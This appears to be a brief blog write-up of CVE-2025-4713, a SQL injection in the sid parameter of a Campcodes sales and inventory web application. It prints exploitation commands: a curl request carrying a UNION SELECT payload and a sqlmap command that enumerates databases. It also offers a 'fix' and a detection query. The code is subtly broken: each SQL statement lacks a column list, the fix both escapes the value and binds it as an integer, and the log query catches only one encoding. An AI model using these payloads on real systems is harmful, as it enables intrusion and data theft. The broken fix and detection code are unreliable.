How CVE-2025-4713 Works
The vulnerability exists in Campcodes Sales and Inventory System 1.0 within the `/pages/print.php` file. An attacker can exploit the `sid` parameter through unsanitized SQL queries, leading to SQL injection. The flaw allows remote execution of arbitrary database commands due to improper input validation. Attackers can manipulate the `sid` parameter in HTTP requests to inject malicious SQL payloads, potentially extracting sensitive data, modifying database content, or executing administrative operations. The lack of prepared statements or input sanitization makes this exploit highly effective.

Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation Commands
curl -X GET "http://target.com/pages/print.php?sid=1' UNION SELECT 1,2,3,user(),5-- -" sqlmap -u "http://target.com/pages/print.php?sid=1" --dbs --batch
Vulnerable Code Snippet
$sid = $_GET['sid']; $query = "SELECT FROM sales WHERE id = '$sid'"; $result = mysqli_query($conn, $query);
Protection Code Fix
$sid = mysqli_real_escape_string($conn, $_GET['sid']);
$query = "SELECT FROM sales WHERE id = ?";
$stmt = $conn->prepare($query);
$stmt->bind_param("i", $sid);
$stmt->execute();
Mitigation Steps
1. Update to the latest patched version.
2. Implement WAF rules to block SQLi patterns.
3. Disable error reporting in production.
Detection Query
SELECT FROM logs WHERE request LIKE '%print.php?sid=%2527%';
